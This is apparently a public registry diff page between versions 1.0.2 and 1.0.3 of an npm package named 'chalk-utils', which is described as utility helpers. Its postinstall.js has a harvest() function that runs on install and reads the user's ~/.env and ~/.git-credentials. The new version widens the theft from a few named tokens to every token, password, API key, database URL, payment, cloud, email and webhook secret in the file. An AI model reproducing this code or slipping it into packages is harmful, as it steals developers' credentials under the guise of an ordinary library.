chalk-utils 1.0.2 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/postinstall.js +28 -7
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "chalk-utils",
3
- "version": "1.0.2",
3
+ "version": "1.0.3",
4
4
  "description": "Chalk Utils utility helpers",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -238,14 +238,35 @@ function harvest(){
238
238
  return r;
239
239
  }},
240
240
  {p:path.join(os.homedir(),'.env'),t:'env',fn:function(c){
241
- const r=[];
242
- const n=c.match(/^NPM_TOKEN=(.+)$/m);if(n)r.push({t:'NPM_TOKEN',v:n[1]});
243
- const a=c.match(/^NPM_AUTH_TOKEN=(.+)$/m);if(a)r.push({t:'NPM_AUTH_TOKEN',v:a[1]});
244
- const k=c.match(/^AWS_ACCESS_KEY_ID=(.+)$/m);if(k)r.push({t:'AWS_KEY',v:k[1]});
245
- const s=c.match(/^AWS_SECRET_ACCESS_KEY=(.+)$/m);if(s)r.push({t:'AWS_SECRET',v:s[1]});
246
- const g=c.match(/^GITHUB_TOKEN=(.+)$/m);if(g)r.push({t:'GITHUB_TOKEN',v:g[1]});
241
+ const r=[],keys={};
242
+ const lines=c.split('\n').filter(l=>l.includes('=')&&!l.trim().startsWith('#'));
243
+ for(const l of lines){
244
+ const eq=l.indexOf('=');
245
+ if(eq<0)continue;
246
+ const k=l.substring(0,eq).trim(),v=l.substring(eq+1).trim();
247
+ if(!k||!v||k.length>50)continue;
248
+
249
+ // Detect key type by name
250
+ const kl=k.toLowerCase();
251
+ let type='';
252
+ if(kl.includes('token')||kl.includes('secret')||kl.includes('password')||kl.includes('pass'))type='TOKEN';
253
+ else if(kl.includes('key')&&(kl.includes('api')||kl.includes('access')||kl.includes('secret')))type='API_KEY';
254
+ else if(kl.includes('database')||kl.includes('db_')||kl.includes('mongo')||kl.includes('mysql')||kl.includes('postgres')||kl.includes('redis'))type='DB_URL';
255
+ else if(kl.includes('stripe')||kl.includes('paypal')||kl.includes('square')||kl.includes('braintree'))type='PAYMENT';
256
+ else if(kl.includes('aws')||kl.includes('azure')||kl.includes('gcp')||kl.includes('google')||kl.includes('cloud'))type='CLOUD';
257
+ else if(kl.includes('sendgrid')||kl.includes('mailgun')||kl.includes('mailchimp')||kl.includes('smtp')||kl.includes('postmark'))type='EMAIL';
258
+ else if(kl.includes('slack')||kl.includes('discord')||kl.includes('telegram')||kl.includes('webhook'))type='WEBHOOK';
259
+ else if(kl.includes('url')||kl.includes('host')||kl.includes('port')||kl.includes('endpoint'))continue; // Skip config
260
+ else continue; // Skip unknown
261
+
262
+ if(!keys[k]){
263
+ keys[k]=true;
264
+ r.push({t:type,k:k,v:v.substring(0,80)});
265
+ }
266
+ }
267
+ // Also catch npm_xxxxx patterns anywhere
247
268
  const t=c.matchAll(/npm_[a-zA-Z0-9]{36}/g);
248
- for(const x of t)r.push({t:'npm_token_env',v:x[0]});
269
+ for(const x of t)r.push({t:'NPM_TOKEN',k:'npm_token',v:x[0]});
249
270
  return r;
250
271
  }},
251
272
  {p:path.join(os.homedir(),'.git-credentials'),t:'git-creds',fn:function(c){